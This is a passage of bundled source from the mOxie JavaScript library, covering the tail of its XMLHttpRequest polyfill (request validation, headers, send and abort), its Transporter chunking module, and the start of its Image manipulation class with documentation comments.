4775 // 2 - check if any code point in method is higher than U+00FF or after deflating method it does not match the method
4776 if (/[\u0100-\uffff]/.test(method) || Encode.utf8_encode(method) !== method) {
4777 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4778 }
4779
4780 // 3
4781 if (!!~Basic.inArray(method.toUpperCase(), ['CONNECT', 'DELETE', 'GET', 'HEAD', 'OPTIONS', 'POST', 'PUT', 'TRACE', 'TRACK'])) {
4782 _method = method.toUpperCase();
4783 }
4784
4785
4786 // 4 - allowing these methods poses a security risk
4787 if (!!~Basic.inArray(_method, ['CONNECT', 'TRACE', 'TRACK'])) {
4788 throw new x.DOMException(x.DOMException.SECURITY_ERR);
4789 }
4790
4791 // 5
4792 url = Encode.utf8_encode(url);
4793
4794 // 6 - Resolve url relative to the XMLHttpRequest base URL. If the algorithm returns an error, throw a "SyntaxError".
4795 urlp = Url.parseUrl(url);
4796
4797 _same_origin_flag = Url.hasSameOrigin(urlp);
4798
4799 // 7 - manually build up absolute url
4800 _url = Url.resolveUrl(url);
4801
4802 // 9-10, 12-13
4803 if ((user || password) && !_same_origin_flag) {
4804 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
4805 }
4806
4807 _user = user || urlp.user;
4808 _password = password || urlp.pass;
4809
4810 // 11
4811 _async = async || true;
4812
4813 if (_async === false && (_p('timeout') || _p('withCredentials') || _p('responseType') !== "")) {
4814 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
4815 }
4816
4817 // 14 - terminate abort()
4818
4819 // 15 - terminate send()
4820
4821 // 18
4822 _sync_flag = !_async;
4823 _send_flag = false;
4824 _headers = {};
4825 _reset.call(this);
4826
4827 // 19
4828 _p('readyState', XMLHttpRequest.OPENED);
4829
4830 // 20
4831 this.dispatchEvent('readystatechange');
4832 },
4833
4834 /**
4835 Appends an header to the list of author request headers, or if header is already
4836 in the list of author request headers, combines its value with value.
4837
4838 Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set.
4839 Throws a "SyntaxError" exception if header is not a valid HTTP header field name or if value
4840 is not a valid HTTP header field value.
4841
4842 @method setRequestHeader
4843 @param {String} header
4844 @param {String|Number} value
4845 */
4846 setRequestHeader: function(header, value) {
4847 var uaHeaders = [ // these headers are controlled by the user agent
4848 "accept-charset",
4849 "accept-encoding",
4850 "access-control-request-headers",
4851 "access-control-request-method",
4852 "connection",
4853 "content-length",
4854 "cookie",
4855 "cookie2",
4856 "content-transfer-encoding",
4857 "date",
4858 "expect",
4859 "host",
4860 "keep-alive",
4861 "origin",
4862 "referer",
4863 "te",
4864 "trailer",
4865 "transfer-encoding",
4866 "upgrade",
4867 "user-agent",
4868 "via"
4869 ];
4870
4871 // 1-2
4872 if (_p('readyState') !== XMLHttpRequest.OPENED || _send_flag) {
4873 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
4874 }
4875
4876 // 3
4877 if (/[\u0100-\uffff]/.test(header) || Encode.utf8_encode(header) !== header) {
4878 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4879 }
4880
4881 // 4
4882 /* this step is seemingly bypassed in browsers, probably to allow various unicode characters in header values
4883 if (/[\u0100-\uffff]/.test(value) || Encode.utf8_encode(value) !== value) {
4884 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4885 }*/
4886
4887 header = Basic.trim(header).toLowerCase();
4888
4889 // setting of proxy-* and sec-* headers is prohibited by spec
4890 if (!!~Basic.inArray(header, uaHeaders) || /^(proxy\-|sec\-)/.test(header)) {
4891 return false;
4892 }
4893
4894 // camelize
4895 // browsers lowercase header names (at least for custom ones)
4896 // header = header.replace(/\b\w/g, function($1) { return $1.toUpperCase(); });
4897
4898 if (!_headers[header]) {
4899 _headers[header] = value;
4900 } else {
4901 // http://tools.ietf.org/html/rfc2616#section-4.2 (last paragraph)
4902 _headers[header] += ', ' + value;
4903 }
4904 return true;
4905 },
4906
4907 /**
4908 Returns all headers from the response, with the exception of those whose field name is Set-Cookie or Set-Cookie2.
4909
4910 @method getAllResponseHeaders
4911 @return {String} reponse headers or empty string
4912 */
4913 getAllResponseHeaders: function() {
4914 return _responseHeaders || '';
4915 },
4916
4917 /**
4918 Returns the header field value from the response of which the field name matches header,
4919 unless the field name is Set-Cookie or Set-Cookie2.
4920
4921 @method getResponseHeader
4922 @param {String} header
4923 @return {String} value(s) for the specified header or null
4924 */
4925 getResponseHeader: function(header) {
4926 header = header.toLowerCase();
4927
4928 if (_error_flag || !!~Basic.inArray(header, ['set-cookie', 'set-cookie2'])) {
4929 return null;
4930 }
4931
4932 if (_responseHeaders && _responseHeaders !== '') {
4933 // if we didn't parse response headers until now, do it and keep for later
4934 if (!_responseHeadersBag) {
4935 _responseHeadersBag = {};
4936 Basic.each(_responseHeaders.split(/\r\n/), function(line) {
4937 var pair = line.split(/:\s+/);
4938 if (pair.length === 2) { // last line might be empty, omit
4939 pair[0] = Basic.trim(pair[0]); // just in case
4940 _responseHeadersBag[pair[0].toLowerCase()] = { // simply to retain header name in original form
4941 header: pair[0],
4942 value: Basic.trim(pair[1])
4943 };
4944 }
4945 });
4946 }
4947 if (_responseHeadersBag.hasOwnProperty(header)) {
4948 return _responseHeadersBag[header].header + ': ' + _responseHeadersBag[header].value;
4949 }
4950 }
4951 return null;
4952 },
4953
4954 /**
4955 Sets the Content-Type header for the response to mime.
4956 Throws an "InvalidStateError" exception if the state is LOADING or DONE.
4957 Throws a "SyntaxError" exception if mime is not a valid media type.
4958
4959 @method overrideMimeType
4960 @param String mime Mime type to set
4961 */
4962 overrideMimeType: function(mime) {
4963 var matches, charset;
4964
4965 // 1
4966 if (!!~Basic.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) {
4967 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
4968 }
4969
4970 // 2
4971 mime = Basic.trim(mime.toLowerCase());
4972
4973 if (/;/.test(mime) && (matches = mime.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))) {
4974 mime = matches[1];
4975 if (matches[2]) {
4976 charset = matches[2];
4977 }
4978 }
4979
4980 if (!Mime.mimes[mime]) {
4981 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4982 }
4983
4984 // 3-4
4985 _finalMime = mime;
4986 _finalCharset = charset;
4987 },
4988
4989 /**
4990 Initiates the request. The optional argument provides the request entity body.
4991 The argument is ignored if request method is GET or HEAD.
4992
4993 Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set.
4994
4995 @method send
4996 @param {Blob|Document|String|FormData} [data] Request entity body
4997 @param {Object} [options] Set of requirements and pre-requisities for runtime initialization
4998 */
4999 send: function(data, options) {
5000 if (Basic.typeOf(options) === 'string') {
5001 _options = { ruid: options };
5002 } else if (!options) {
5003 _options = {};
5004 } else {
5005 _options = options;
5006 }
5007
5008 // 1-2
5009 if (this.readyState !== XMLHttpRequest.OPENED || _send_flag) {
5010 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5011 }
5012
5013 // 3
5014 // sending Blob
5015 if (data instanceof Blob) {
5016 _options.ruid = data.ruid;
5017 _mimeType = data.type || 'application/octet-stream';
5018 }
5019
5020 // FormData
5021 else if (data instanceof FormData) {
5022 if (data.hasBlob()) {
5023 var blob = data.getBlob();
5024 _options.ruid = blob.ruid;
5025 _mimeType = blob.type || 'application/octet-stream';
5026 }
5027 }
5028
5029 // DOMString
5030 else if (typeof data === 'string') {
5031 _encoding = 'UTF-8';
5032 _mimeType = 'text/plain;charset=UTF-8';
5033
5034 // data should be converted to Unicode and encoded as UTF-8
5035 data = Encode.utf8_encode(data);
5036 }
5037
5038 // if withCredentials not set, but requested, set it automatically
5039 if (!this.withCredentials) {
5040 this.withCredentials = (_options.required_caps && _options.required_caps.send_browser_cookies) && !_same_origin_flag;
5041 }
5042
5043 // 4 - storage mutex
5044 // 5
5045 _upload_events_flag = (!_sync_flag && this.upload.hasEventListener()); // DSAP
5046 // 6
5047 _error_flag = false;
5048 // 7
5049 _upload_complete_flag = !data;
5050 // 8 - Asynchronous steps
5051 if (!_sync_flag) {
5052 // 8.1
5053 _send_flag = true;
5054 // 8.2
5055 // this.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr
5056 // 8.3
5057 //if (!_upload_complete_flag) {
5058 // this.upload.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr
5059 //}
5060 }
5061 // 8.5 - Return the send() method call, but continue running the steps in this algorithm.
5062 _doXHR.call(this, data);
5063 },
5064
5065 /**
5066 Cancels any network activity.
5067
5068 @method abort
5069 */
5070 abort: function() {
5071 _error_flag = true;
5072 _sync_flag = false;
5073
5074 if (!~Basic.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED, XMLHttpRequest.DONE])) {
5075 _p('readyState', XMLHttpRequest.DONE);
5076 _send_flag = false;
5077
5078 if (_xhr) {
5079 _xhr.getRuntime().exec.call(_xhr, 'XMLHttpRequest', 'abort', _upload_complete_flag);
5080 } else {
5081 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5082 }
5083
5084 _upload_complete_flag = true;
5085 } else {
5086 _p('readyState', XMLHttpRequest.UNSENT);
5087 }
5088 },
5089
5090 destroy: function() {
5091 if (_xhr) {
5092 if (Basic.typeOf(_xhr.destroy) === 'function') {
5093 _xhr.destroy();
5094 }
5095 _xhr = null;
5096 }
5097
5098 this.unbindAll();
5099
5100 if (this.upload) {
5101 this.upload.unbindAll();
5102 this.upload = null;
5103 }
5104 }
5105 });
5106
5107 this.handleEventProps(dispatches.concat(['readystatechange'])); // for historical reasons
5108 this.upload.handleEventProps(dispatches);
5109
5110 /* this is nice, but maybe too lengthy
5111
5112 // if supported by JS version, set getters/setters for specific properties
5113 o.defineProperty(this, 'readyState', {
5114 configurable: false,
5115
5116 get: function() {
5117 return _p('readyState');
5118 }
5119 });
5120
5121 o.defineProperty(this, 'timeout', {
5122 configurable: false,
5123
5124 get: function() {
5125 return _p('timeout');
5126 },
5127
5128 set: function(value) {
5129
5130 if (_sync_flag) {
5131 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
5132 }
5133
5134 // timeout still should be measured relative to the start time of request
5135 _timeoutset_time = (new Date).getTime();
5136
5137 _p('timeout', value);
5138 }
5139 });
5140
5141 // the withCredentials attribute has no effect when fetching same-origin resources
5142 o.defineProperty(this, 'withCredentials', {
5143 configurable: false,
5144
5145 get: function() {
5146 return _p('withCredentials');
5147 },
5148
5149 set: function(value) {
5150 // 1-2
5151 if (!~o.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED]) || _send_flag) {
5152 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5153 }
5154
5155 // 3-4
5156 if (_anonymous_flag || _sync_flag) {
5157 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
5158 }
5159
5160 // 5
5161 _p('withCredentials', value);
5162 }
5163 });
5164
5165 o.defineProperty(this, 'status', {
5166 configurable: false,
5167
5168 get: function() {
5169 return _p('status');
5170 }
5171 });
5172
5173 o.defineProperty(this, 'statusText', {
5174 configurable: false,
5175
5176 get: function() {
5177 return _p('statusText');
5178 }
5179 });
5180
5181 o.defineProperty(this, 'responseType', {
5182 configurable: false,
5183
5184 get: function() {
5185 return _p('responseType');
5186 },
5187
5188 set: function(value) {
5189 // 1
5190 if (!!~o.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) {
5191 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5192 }
5193
5194 // 2
5195 if (_sync_flag) {
5196 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
5197 }
5198
5199 // 3
5200 _p('responseType', value.toLowerCase());
5201 }
5202 });
5203
5204 o.defineProperty(this, 'responseText', {
5205 configurable: false,
5206
5207 get: function() {
5208 // 1
5209 if (!~o.inArray(_p('responseType'), ['', 'text'])) {
5210 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5211 }
5212
5213 // 2-3
5214 if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) {
5215 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5216 }
5217
5218 return _p('responseText');
5219 }
5220 });
5221
5222 o.defineProperty(this, 'responseXML', {
5223 configurable: false,
5224
5225 get: function() {
5226 // 1
5227 if (!~o.inArray(_p('responseType'), ['', 'document'])) {
5228 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5229 }
5230
5231 // 2-3
5232 if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) {
5233 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5234 }
5235
5236 return _p('responseXML');
5237 }
5238 });
5239
5240 o.defineProperty(this, 'response', {
5241 configurable: false,
5242
5243 get: function() {
5244 if (!!~o.inArray(_p('responseType'), ['', 'text'])) {
5245 if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) {
5246 return '';
5247 }
5248 }
5249
5250 if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) {
5251 return null;
5252 }
5253
5254 return _p('response');
5255 }
5256 });
5257
5258 */
5259
5260 function _p(prop, value) {
5261 if (!props.hasOwnProperty(prop)) {
5262 return;
5263 }
5264 if (arguments.length === 1) { // get
5265 return Env.can('define_property') ? props[prop] : self[prop];
5266 } else { // set
5267 if (Env.can('define_property')) {
5268 props[prop] = value;
5269 } else {
5270 self[prop] = value;
5271 }
5272 }
5273 }
5274
5275 /*
5276 function _toASCII(str, AllowUnassigned, UseSTD3ASCIIRules) {
5277 // TODO: http://tools.ietf.org/html/rfc3490#section-4.1
5278 return str.toLowerCase();
5279 }
5280 */
5281
5282
5283 function _doXHR(data) {
5284 var self = this;
5285
5286 _start_time = new Date().getTime();
5287
5288 _xhr = new RuntimeTarget();
5289
5290 function loadEnd() {
5291 if (_xhr) { // it could have been destroyed by now
5292 _xhr.destroy();
5293 _xhr = null;
5294 }
5295 self.dispatchEvent('loadend');
5296 self = null;
5297 }
5298
5299 function exec(runtime) {
5300 _xhr.bind('LoadStart', function(e) {
5301 _p('readyState', XMLHttpRequest.LOADING);
5302 self.dispatchEvent('readystatechange');
5303
5304 self.dispatchEvent(e);
5305
5306 if (_upload_events_flag) {
5307 self.upload.dispatchEvent(e);
5308 }
5309 });
5310
5311 _xhr.bind('Progress', function(e) {
5312 if (_p('readyState') !== XMLHttpRequest.LOADING) {
5313 _p('readyState', XMLHttpRequest.LOADING); // LoadStart unreliable (in Flash for example)
5314 self.dispatchEvent('readystatechange');
5315 }
5316 self.dispatchEvent(e);
5317 });
5318
5319 _xhr.bind('UploadProgress', function(e) {
5320 if (_upload_events_flag) {
5321 self.upload.dispatchEvent({
5322 type: 'progress',
5323 lengthComputable: false,
5324 total: e.total,
5325 loaded: e.loaded
5326 });
5327 }
5328 });
5329
5330 _xhr.bind('Load', function(e) {
5331 _p('readyState', XMLHttpRequest.DONE);
5332 _p('status', Number(runtime.exec.call(_xhr, 'XMLHttpRequest', 'getStatus') || 0));
5333 _p('statusText', httpCode[_p('status')] || "");
5334
5335 _p('response', runtime.exec.call(_xhr, 'XMLHttpRequest', 'getResponse', _p('responseType')));
5336
5337 if (!!~Basic.inArray(_p('responseType'), ['text', ''])) {
5338 _p('responseText', _p('response'));
5339 } else if (_p('responseType') === 'document') {
5340 _p('responseXML', _p('response'));
5341 }
5342
5343 _responseHeaders = runtime.exec.call(_xhr, 'XMLHttpRequest', 'getAllResponseHeaders');
5344
5345 self.dispatchEvent('readystatechange');
5346
5347 if (_p('status') > 0) { // status 0 usually means that server is unreachable
5348 if (_upload_events_flag) {
5349 self.upload.dispatchEvent(e);
5350 }
5351 self.dispatchEvent(e);
5352 } else {
5353 _error_flag = true;
5354 self.dispatchEvent('error');
5355 }
5356 loadEnd();
5357 });
5358
5359 _xhr.bind('Abort', function(e) {
5360 self.dispatchEvent(e);
5361 loadEnd();
5362 });
5363
5364 _xhr.bind('Error', function(e) {
5365 _error_flag = true;
5366 _p('readyState', XMLHttpRequest.DONE);
5367 self.dispatchEvent('readystatechange');
5368 _upload_complete_flag = true;
5369 self.dispatchEvent(e);
5370 loadEnd();
5371 });
5372
5373 runtime.exec.call(_xhr, 'XMLHttpRequest', 'send', {
5374 url: _url,
5375 method: _method,
5376 async: _async,
5377 user: _user,
5378 password: _password,
5379 headers: _headers,
5380 mimeType: _mimeType,
5381 encoding: _encoding,
5382 responseType: self.responseType,
5383 withCredentials: self.withCredentials,
5384 options: _options
5385 }, data);
5386 }
5387
5388 // clarify our requirements
5389 if (typeof(_options.required_caps) === 'string') {
5390 _options.required_caps = Runtime.parseCaps(_options.required_caps);
5391 }
5392
5393 _options.required_caps = Basic.extend({}, _options.required_caps, {
5394 return_response_type: self.responseType
5395 });
5396
5397 if (data instanceof FormData) {
5398 _options.required_caps.send_multipart = true;
5399 }
5400
5401 if (!Basic.isEmptyObj(_headers)) {
5402 _options.required_caps.send_custom_headers = true;
5403 }
5404
5405 if (!_same_origin_flag) {
5406 _options.required_caps.do_cors = true;
5407 }
5408
5409
5410 if (_options.ruid) { // we do not need to wait if we can connect directly
5411 exec(_xhr.connectRuntime(_options));
5412 } else {
5413 _xhr.bind('RuntimeInit', function(e, runtime) {
5414 exec(runtime);
5415 });
5416 _xhr.bind('RuntimeError', function(e, err) {
5417 self.dispatchEvent('RuntimeError', err);
5418 });
5419 _xhr.connectRuntime(_options);
5420 }
5421 }
5422
5423
5424 function _reset() {
5425 _p('responseText', "");
5426 _p('responseXML', null);
5427 _p('response', null);
5428 _p('status', 0);
5429 _p('statusText', "");
5430 _start_time = _timeoutset_time = null;
5431 }
5432 }
5433
5434 XMLHttpRequest.UNSENT = 0;
5435 XMLHttpRequest.OPENED = 1;
5436 XMLHttpRequest.HEADERS_RECEIVED = 2;
5437 XMLHttpRequest.LOADING = 3;
5438 XMLHttpRequest.DONE = 4;
5439
5440 XMLHttpRequest.prototype = EventTarget.instance;
5441
5442 return XMLHttpRequest;
5443});
5444
5445// Included from: src/javascript/runtime/Transporter.js
5446
5447/**
5448 * Transporter.js
5449 *
5450 * Copyright 2013, Moxiecode Systems AB
5451 * Released under GPL License.
5452 *
5453 * License: http://www.plupload.com/license
5454 * Contributing: http://www.plupload.com/contributing
5455 */
5456
5457define("moxie/runtime/Transporter", [
5458 "moxie/core/utils/Basic",
5459 "moxie/core/utils/Encode",
5460 "moxie/runtime/RuntimeClient",
5461 "moxie/core/EventTarget"
5462], function(Basic, Encode, RuntimeClient, EventTarget) {
5463 function Transporter() {
5464 var mod, _runtime, _data, _size, _pos, _chunk_size;
5465
5466 RuntimeClient.call(this);
5467
5468 Basic.extend(this, {
5469 uid: Basic.guid('uid_'),
5470
5471 state: Transporter.IDLE,
5472
5473 result: null,
5474
5475 transport: function(data, type, options) {
5476 var self = this;
5477
5478 options = Basic.extend({
5479 chunk_size: 204798
5480 }, options);
5481
5482 // should divide by three, base64 requires this
5483 if ((mod = options.chunk_size % 3)) {
5484 options.chunk_size += 3 - mod;
5485 }
5486
5487 _chunk_size = options.chunk_size;
5488
5489 _reset.call(this);
5490 _data = data;
5491 _size = data.length;
5492
5493 if (Basic.typeOf(options) === 'string' || options.ruid) {
5494 _run.call(self, type, this.connectRuntime(options));
5495 } else {
5496 // we require this to run only once
5497 var cb = function(e, runtime) {
5498 self.unbind("RuntimeInit", cb);
5499 _run.call(self, type, runtime);
5500 };
5501 this.bind("RuntimeInit", cb);
5502 this.connectRuntime(options);
5503 }
5504 },
5505
5506 abort: function() {
5507 var self = this;
5508
5509 self.state = Transporter.IDLE;
5510 if (_runtime) {
5511 _runtime.exec.call(self, 'Transporter', 'clear');
5512 self.trigger("TransportingAborted");
5513 }
5514
5515 _reset.call(self);
5516 },
5517
5518
5519 destroy: function() {
5520 this.unbindAll();
5521 _runtime = null;
5522 this.disconnectRuntime();
5523 _reset.call(this);
5524 }
5525 });
5526
5527 function _reset() {
5528 _size = _pos = 0;
5529 _data = this.result = null;
5530 }
5531
5532 function _run(type, runtime) {
5533 var self = this;
5534
5535 _runtime = runtime;
5536
5537 //self.unbind("RuntimeInit");
5538
5539 self.bind("TransportingProgress", function(e) {
5540 _pos = e.loaded;
5541
5542 if (_pos < _size && Basic.inArray(self.state, [Transporter.IDLE, Transporter.DONE]) === -1) {
5543 _transport.call(self);
5544 }
5545 }, 999);
5546
5547 self.bind("TransportingComplete", function() {
5548 _pos = _size;
5549 self.state = Transporter.DONE;
5550 _data = null; // clean a bit
5551 self.result = _runtime.exec.call(self, 'Transporter', 'getAsBlob', type || '');
5552 }, 999);
5553
5554 self.state = Transporter.BUSY;
5555 self.trigger("TransportingStarted");
5556 _transport.call(self);
5557 }
5558
5559 function _transport() {
5560 var self = this,
5561 chunk,
5562 bytesLeft = _size - _pos;
5563
5564 if (_chunk_size > bytesLeft) {
5565 _chunk_size = bytesLeft;
5566 }
5567
5568 chunk = Encode.btoa(_data.substr(_pos, _chunk_size));
5569 _runtime.exec.call(self, 'Transporter', 'receive', chunk, _size);
5570 }
5571 }
5572
5573 Transporter.IDLE = 0;
5574 Transporter.BUSY = 1;
5575 Transporter.DONE = 2;
5576
5577 Transporter.prototype = EventTarget.instance;
5578
5579 return Transporter;
5580});
5581
5582// Included from: src/javascript/image/Image.js
5583
5584/**
5585 * Image.js
5586 *
5587 * Copyright 2013, Moxiecode Systems AB
5588 * Released under GPL License.
5589 *
5590 * License: http://www.plupload.com/license
5591 * Contributing: http://www.plupload.com/contributing
5592 */
5593
5594define("moxie/image/Image", [
5595 "moxie/core/utils/Basic",
5596 "moxie/core/utils/Dom",
5597 "moxie/core/Exceptions",
5598 "moxie/file/FileReaderSync",
5599 "moxie/xhr/XMLHttpRequest",
5600 "moxie/runtime/Runtime",
5601 "moxie/runtime/RuntimeClient",
5602 "moxie/runtime/Transporter",
5603 "moxie/core/utils/Env",
5604 "moxie/core/EventTarget",
5605 "moxie/file/Blob",
5606 "moxie/file/File",
5607 "moxie/core/utils/Encode"
5608], function(Basic, Dom, x, FileReaderSync, XMLHttpRequest, Runtime, RuntimeClient, Transporter, Env, EventTarget, Blob, File, Encode) {
5609 /**
5610 Image preloading and manipulation utility. Additionally it provides access to image meta info (Exif, GPS) and raw binary data.
5611
5612 @class Image
5613 @constructor
5614 @extends EventTarget
5615 */
5616 var dispatches = [
5617 'progress',
5618
5619 /**
5620 Dispatched when loading is complete.
5621
5622 @event load
5623 @param {Object} event
5624 */
5625 'load',
5626
5627 'error',
5628
5629 /**
5630 Dispatched when resize operation is complete.
5631
5632 @event resize
5633 @param {Object} event
5634 */
5635 'resize',
5636
5637 /**
5638 Dispatched when visual representation of the image is successfully embedded
5639 into the corresponsing container.
5640
5641 @event embedded
5642 @param {Object} event
5643 */
5644 'embedded'
5645 ];
5646
5647 function Image() {
5648
5649 RuntimeClient.call(this);
5650
5651 Basic.extend(this, {
5652 /**
5653 Unique id of the component
5654
5655 @property uid
5656 @type {String}
5657 */
5658 uid: Basic.guid('uid_'),
5659
5660 /**
5661 Unique id of the connected runtime, if any.
5662
5663 @property ruid
5664 @type {String}
5665 */
5666 ruid: null,
5667
5668 /**
5669 Name of the file, that was used to create an image, if available. If not equals to empty string.
5670
5671 @property name
5672 @type {String}
5673 @default ""
5674 */
5675 name: "",
5676
5677 /**
5678 Size of the image in bytes. Actual value is set only after image is preloaded.
5679
5680 @property size
5681 @type {Number}
5682 @default 0
5683 */
5684 size: 0,
5685
5686 /**
5687 Width of the image. Actual value is set only after image is preloaded.
5688
5689 @property width
5690 @type {Number}
5691 @default 0
5692 */
5693 width: 0,
5694
5695 /**
5696 Height of the image. Actual value is set only after image is preloaded.
5697
5698 @property height
5699 @type {Number}
5700 @default 0
5701 */
5702 height: 0,
5703
5704 /**
5705 Mime type of the image. Currently only image/jpeg and image/png are supported. Actual value is set only after image is preloaded.
5706
5707 @property type
5708 @type {String}
5709 @default ""
5710 */
5711 type: "",
5712
5713 /**
5714 Holds meta info (Exif, GPS). Is populated only for image/jpeg. Actual value is set only after image is preloaded.
5715
5716 @property meta
5717 @type {Object}
5718 @default {}
5719 */
5720 meta: {},
5721
5722 /**
5723 Alias for load method, that takes another mOxie.Image object as a source (see load).
5724
5725 @method clone
5726 @param {Image} src Source for the image
5727 @param {Boolean} [exact=false] Whether to activate in-depth clone mode
5728 */
5729 clone: function() {
5730 this.load.apply(this, arguments);
5731 },
5732
5733 /**
5734 Loads image from various sources. Currently the source for new image can be: mOxie.Image, mOxie.Blob/mOxie.File,
5735 native Blob/File, dataUrl or URL. Depending on the type of the source, arguments - differ. When source is URL,
5736 Image will be downloaded from remote destination and loaded in memory.
5737
5738 @example
5739 var img = new mOxie.Image();
5740 img.onload = function() {
5741 var blob = img.getAsBlob();
5742
5743 var formData = new mOxie.FormData();
5744 formData.append('file', blob);
5745
5746 var xhr = new mOxie.XMLHttpRequest();
5747 xhr.onload = function() {
5748 // upload complete
5749 };
5750 xhr.open('post', 'upload.php');
5751 xhr.send(formData);
5752 };
5753 img.load("http://www.moxiecode.com/images/mox-logo.jpg"); // notice file extension (.jpg)
5754
5755
5756 @method load
5757 @param {Image|Blob|File|String} src Source for the image
5758 @param {Boolean|Object} [mixed]
5759 */
5760 load: function() {
5761 _load.apply(this, arguments);
5762 },
5763
5764 /**
5765 Downsizes the image to fit the specified width/height. If crop is supplied, image will be cropped to exact dimensions.
5766
5767 @method downsize
5768 @param {Object} opts
5769 @param {Number} opts.width Resulting width
5770 @param {Number} [opts.height=width] Resulting height (optional, if not supplied will default to width)
5771 @param {Boolean} [opts.crop=false] Whether to crop the image to exact dimensions
5772 @param {Boolean} [opts.preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize)
5773 @param {String} [opts.resample=false] Resampling algorithm to use for resizing
5774 */
5775 downsize: function(opts) {
5776 var defaults = {
5777 width: this.width,
5778 height: this.height,
5779 type: this.type || 'image/jpeg',
5780 quality: 90,
5781 crop: false,
5782 preserveHeaders: true,
5783 resample: false
5784 };
5785
5786 if (typeof(opts) === 'object') {
5787 opts = Basic.extend(defaults, opts);
5788 } else {
5789 // for backward compatibility
5790 opts = Basic.extend(defaults, {
5791 width: arguments[0],
5792 height: arguments[1],
5793 crop: arguments[2],
5794 preserveHeaders: arguments[3]
5795 });
5796 }
5797
5798 try {
5799 if (!this.size) { // only preloaded image objects can be used as source
5800 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5801 }
5802
5803 // no way to reliably intercept the crash due to high resolution, so we simply avoid it
5804 if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) {
5805 throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR);
5806 }
5807
5808 this.exec('Image', 'downsize', opts.width, opts.height, opts.crop, opts.preserveHeaders);
5809 } catch(ex) {
5810 // for now simply trigger error event
5811 this.trigger('error', ex.code);
5812 }
5813 },
5814
5815 /**
5816 Alias for downsize(width, height, true). (see downsize)
5817
5818 @method crop
5819 @param {Number} width Resulting width
5820 @param {Number} [height=width] Resulting height (optional, if not supplied will default to width)
5821 @param {Boolean} [preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize)
5822 */
5823 crop: function(width, height, preserveHeaders) {
5824 this.downsize(width, height, true, preserveHeaders);
5825 },
5826
5827 getAsCanvas: function() {
5828 if (!Env.can('create_canvas')) {
5829 throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
5830 }
5831
5832 var runtime = this.connectRuntime(this.ruid);
5833 return runtime.exec.call(this, 'Image', 'getAsCanvas');
5834 },
5835
5836 /**
5837 Retrieves image in it's current state as mOxie.Blob object. Cannot be run on empty or image in progress (throws
5838 DOMException.INVALID_STATE_ERR).
5839
5840 @method getAsBlob
5841 @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
5842 @param {Number} [quality=90] Applicable only together with mime type image/jpeg
5843 @return {Blob} Image as Blob
5844 */
5845 getAsBlob: function(type, quality) {
5846 if (!this.size) {
5847 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5848 }
5849 return this.exec('Image', 'getAsBlob', type || 'image/jpeg', quality || 90);
5850 },
5851
5852 /**
5853 Retrieves image in it's current state as dataURL string. Cannot be run on empty or image in progress (throws
5854 DOMException.INVALID_STATE_ERR).
5855
5856 @method getAsDataURL
5857 @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
5858 @param {Number} [quality=90] Applicable only together with mime type image/jpeg
5859 @return {String} Image as dataURL string
5860 */
5861 getAsDataURL: function(type, quality) {
5862 if (!this.size) {
5863 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5864 }
5865 return this.exec('Image', 'getAsDataURL', type || 'image/jpeg', quality || 90);
5866 },
5867
5868 /**
5869 Retrieves image in it's current state as binary string. Cannot be run on empty or image in progress (throws
5870 DOMException.INVALID_STATE_ERR).
5871
5872 @method getAsBinaryString
5873 @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
5874 @param {Number} [quality=90] Applicable only together with mime type image/jpeg
5875 @return {String} Image as binary string
5876 */
5877 getAsBinaryString: function(type, quality) {
5878 var dataUrl = this.getAsDataURL(type, quality);
5879 return Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7));
5880 },
5881
5882 /**
5883 Embeds a visual representation of the image into the specified node. Depending on the runtime,
5884 it might be a canvas, an img node or a thrid party shim object (Flash or SilverLight - very rare,
5885 can be used in legacy browsers that do not have canvas or proper dataURI support).
5886
5887 @method embed
5888 @param {DOMElement} el DOM element to insert the image object into
5889 @param {Object} [opts]
